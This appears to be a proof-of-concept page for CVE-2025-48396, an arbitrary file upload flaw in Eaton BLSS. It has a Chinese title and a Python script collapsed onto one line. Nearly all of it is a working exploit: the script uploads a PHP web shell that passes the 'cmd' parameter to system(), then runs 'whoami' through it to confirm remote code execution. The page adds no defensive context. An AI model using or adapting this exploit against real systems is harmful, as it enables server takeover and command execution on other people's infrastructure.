CVE-2025-48396 Eaton BLSS文件上传验证不当导致任意代码执行漏洞

import requests import sys # CVE-2025-48396 PoC - Eaton BLSS Arbitrary File Upload # Description: Improper validation in file upload allows arbitrary code execution TARGET_URL = "http://target-website.com" UPLOAD_ENDPOINT = f"{TARGET_URL}/api/upload" SHELL_ENDPOINT = f"{TARGET_URL}/uploads/webshell.php" def create_webshell(): """Generate malicious PHP webshell""" php_code = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" return php_code def exploit_file_upload(): """Exploit the file upload vulnerability""" print("[*] Starting CVE-2025-48396 exploitation...") # Create malicious file with double extension bypass files = { 'file': ('webshell.php', create_webshell(), 'application/x-php') } data = { 'filename': 'webshell.php' } try: # Send malicious upload request response = requests.post(UPLOAD_ENDPOINT, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Shell location: {SHELL_ENDPOINT}") # Verify shell execution cmd_check = requests.get(f"{SHELL_ENDPOINT}?cmd=whoami", timeout=5) if cmd_check.status_code == 200: print("[+] Code execution confirmed!") print(f"[+] Output: {cmd_check.text}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": exploit_file_upload()